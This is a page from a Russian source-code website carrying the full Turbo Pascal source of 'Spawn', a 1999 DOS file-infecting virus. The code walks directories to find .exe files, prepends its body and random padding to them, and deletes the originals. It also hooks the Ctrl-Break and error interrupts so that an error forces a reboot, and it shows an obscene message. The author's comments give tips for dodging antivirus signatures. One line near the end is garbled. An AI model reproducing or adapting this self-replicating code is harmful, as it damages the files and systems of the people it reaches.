15 мая 2023 года "Исходники.РУ" отмечают своё 23-летие!
Поздравляем всех причастных и неравнодушных с этим событием!
И огромное спасибо всем, кто был и остаётся с нами все эти годы!

Главная Форум Журнал Wiki DRKB Discuz!ML Помощь проекту


Вирус Spawn

{ **********************************************************************}
{  SSSS SSSS SSSS S   S S   S     Специально для "TheCreatures"         }
{  Ssss SssS SssS S   S Sss S   - The Virus ver 2.3   by Jarod          }
{     S S    S  S S s S S  SS     HLLP-type; for free USE only          }
{  sssS S    S  S  S S  S   S   (cl) Copyleft - Jarod                   }
{ **********************************************************************}
{$M $4000,0,$8000}
{$I-}
{$D-}             { Забойные команды компилятору                 }
{$L-}
{$O-}
{$R-}
{$S-}             {             (компилятор забился...)          }
{$F+}
program virus_final_ver1_3;
uses dos;
const
virlength=5230; { Длина _упакованного_ вира. Перед упаковкой LZEXE были забиты
                  нулями слова "Runtime error at" и "Borland ....." до символа
                  (тройка оставалась) Также советую поменять в коде
                  'LZ91' на какую-нибудь хрень, и 06 0E 1F на 0E 1F 06
                  (первая тройка байт кода unlzexe)                          }
sign : array[1..2] of byte = (0,0); { <--слово 0000 - сигнатура (можно другое)}
type
filename = string[12];
{ ------------------------------- Глобальные переменные: ------------------- }
VAR
diskinfo: string;
victim: pathstr;
dir: filename;              { <-- string[12]   }
i: integer;
infected: boolean;
fil,fil2:file;
nr,nw,MZ:word;
buff: array[1..2048] of char;
start:string[79];
mylen :byte; {  Длина своего мусора                }


p1,p2 : pointer;
{============================================================================}

procedure FindDirs(var dirs:string); { Процедура поиска каталогов }
var
d:searchrec;
f:file;
a:word;
BEGIN
dirs:='';
findfirst('*.*',anyfile,d);
while DosError = 0 do
begin
 assign(f,d.name);
 a:=0;
 getfattr(f,a);
 if ((A and directory) <> 0) and (d.name<>'.') then
 dirs := concat(dirs,d.name,';');
 findnext(D);
end;
dirs:=dirs+chr(0);                 { <-- Маркировка конца списка директорий }
END;

procedure Infect (kogo : filename); { Процедура заражения конкретного файла }
var
victim:file;
newfile:file;
home:file;
temp:word;
b:array[1..virlength] of byte;
NumRead, NumWritten: Word;
bt,bt2,i : byte;

BEGIN                          {         Алгоритм заражения:            }
assign(victim,kogo);           { Возьмем жертву,                        }
rename(victim,'temp0666.$$$'); { переименуем ее,                        }
assign(newfile,kogo);          { а на ее место поставим заражаемый файл.}
assign(home,paramstr(0));      { Найдем имя 'дрозофиллы'...             }
rewrite(newfile,1);            { Откроем файл для записи,               }
reset(home,1);                 { затем откроем дрозофиллу для чтения    }
blockread (home,b,virlength);   { Прочитаем тело вируса,                }
blockwrite(newfile,b,virlength);{   скопируем его в новый файл          }
close(home);                    { Закроем дрозофиллу..                  }
randomize; { не путать с ДРОЗДОФИЛИЗМОМ - сексуальным расстройством }
bt:=random(100)+10;             { <-- кол. мусора }
blockwrite(newfile,bt,1);
for i:=1 to bt do begin         { припишем этого мусора                 }
bt2:=random(250)+1;
blockwrite(newfile,bt2,1);
end;
reset(victim,1);                { теперь откроем жертву.                }
seek(victim,2);                 { маскировка 'MZ' жертвы                }
repeat                          { А эту процедуру я нагло сдул из хелпа }
  BlockRead(victim,b,         { к TP6 (на blockread)                  }
            SizeOf(b),NumRead);
  BlockWrite(newfile,b,NumRead,NumWritten);
until (NumRead = 0) or
      (NumWritten <> NumRead);
                                { файл заражен! Подтираем за собой...   }
erase(victim);                  { Жертву удаляем на хрен                }
close(victim);close(newfile);   { (она теперь в созданном файле)        }
END;                            { А это КОНЕЦ -> oOo                    }

procedure FindFile;             { Поиск и заражение файла в текущем каталоге }
var
  kto: SearchRec;
  vic: file of byte;
   tb: array[1..4] of byte;
label eshe;
BEGIN
  FindFirst('*.exe', Archive, kto);
  while DosError = 0 do
  begin
    if infected=true then exit;
    assign(vic,kto.name);
    reset(vic);
    if ioresult<>0 then goto eshe;
    if filesize(vic)<1024 then goto eshe;
    if filesize(vic)>65535 then goto eshe;
    read (vic,tb[1]);
    read (vic,tb[2]);
    read (vic,tb[3]);
    read (vic,tb[4]);

if (tb[1]<>$4D) or (tb[2]<>$5A) then goto eshe;

    if (tb[3]<>sign[1]) and (tb[4]<>sign[2]) then
     begin
      infect(kto.name); {+++++++++++++++++++++++++++++++++ЗАРАЖАЕМ!!!+++++++}
      infected:=true;
     end;
eshe:
    close(vic);
    FindNext(kto);
  end;
END;
label execprog,next;
procedure antiBRAKE; interrupt;
begin
writeln('Ты что же, гадина, Ctrl-Break давишь, а ?!!',chr(7));
end;

procedure antiERROR; interrupt;
var
tempor : registers;
begin
writeln(' !!! uNkN0wN ERr0R !!! ',chr(7));
intr($19,tempor);
end;

{    *** *** *** *** *** ***      Основной модуль:       *** *** *** ***}

BEGIN
getintvec($23,p1);                 { Это очень прикольно !      }
setintvec($23,addr(antiBRAKE));
getintvec($24,p2);                 { меняем вектора             }
setintvec($24,addr(antiERROR));

assign(fil,'temp0666.$$$');erase(fil); { <-- это чтоб работало... :)         }

assign(fil,paramstr(0));reset(fil,1);
seek(fil,virlength); blockread(fil,mylen,1);{ Прочитаем длину нашего мусора  }
close(fil);
infected:=false;
victim:='';
getdir(0,start);
dir:=paramstr(0);
if dir[1]='A' then chdir('C:');    { При старте с флопа переберемся на винт }
findfile;                                       { Поищем файла под жопой... }
if infected=true then goto execprog;
finddirs(diskinfo);                             { in SUB-DIRs               }
if diskinfo=chr(0) then goto next;              { Если SUB-DIRs нет то и    }
{-------------------------------}               { на нет и ссуды не дают... }
 i:=1;
repeat
 dir:='';
 repeat
  dir:=dir+diskinfo[i];                         { dir - директория,         }
  i:=i+1;
 until diskinfo[i]=';';                         { выковыренная из diskinfo   }
chdir(dir);                                     { Сменим ее                  }
findfile;                                       { И поищем, чего бы заразить }
if infected=true then goto execprog;
chdir(start);
i:=i+1;
until diskinfo[i]=#0;
{-------------------------------}
next:

chdir ('\');                                   { идем в корневой каталог    }
findfile;

if infected=true then goto execprog;
finddirs(diskinfo);
if diskinfo=chr(0) then goto execprog;
{-------------------------------}
i:=1;
repeat
 dir:='';
 repeat
  dir:=dir+diskinfo[i];
  i:=i+1;
 until diskinfo[i]=';';
chdir(dir);
findfile;
if infected=true then goto execprog;
chdir('\');
i:=i+1;
until diskinfo[i]=chr(0);
{-------------------------------}
{    --==++==--           Теперь займемся исполнением кода носителя:        }
execprog:

                                  { Перейдем в стартовый каталог            }
chdir(start);
if infected=false then begin

{                  вопрос, мучующий всех юзер0в:                      }

{         !!! П Р О Я В Л Е Н И Е !!!      вира                       }

writeln;

writeln ('****************************** Copyleft (cl) ');
writeln ('  SPAWN - the virus ver 1.3 by Jarod         ');
writeln ('                                             ');
writeln (' I like              ...dont fuck me hard,  ');
writeln ('   fucking,    /~V~\      mr DANILOFF !!!    ');
writeln ('   BUT...      `| | `                        ');
writeln ('                " "           see ya!        ');
writeln ('** March 1999 *******************************');

halt(8);end;

assign(fil,paramstr(0));
reset(fil,1);
if filesize(fil) NR);
close(fil);
close(fil2);                    { Теперь пусть носитель пыжится ,         }
swapvectors;                    { мы свое отпыжились...                   }
exec(paramstr(0),paramstr(1)+' '+paramstr(2)+' '+paramstr(3)+' '+paramstr(4));
swapvectors;
if DosError <> 0 then writeln('Not enought memory');
chdir(start);
assign(fil,paramstr(0));
erase(fil);
assign(fil,'temp0666.$$$');
rename(fil,paramstr(0));
close (fil);

setintvec($23,p1);                 { Возвращаем вектора }
setintvec($24,p2);
{$I+}
END.

{ Вот тебе, бабушка, и rocket jump... }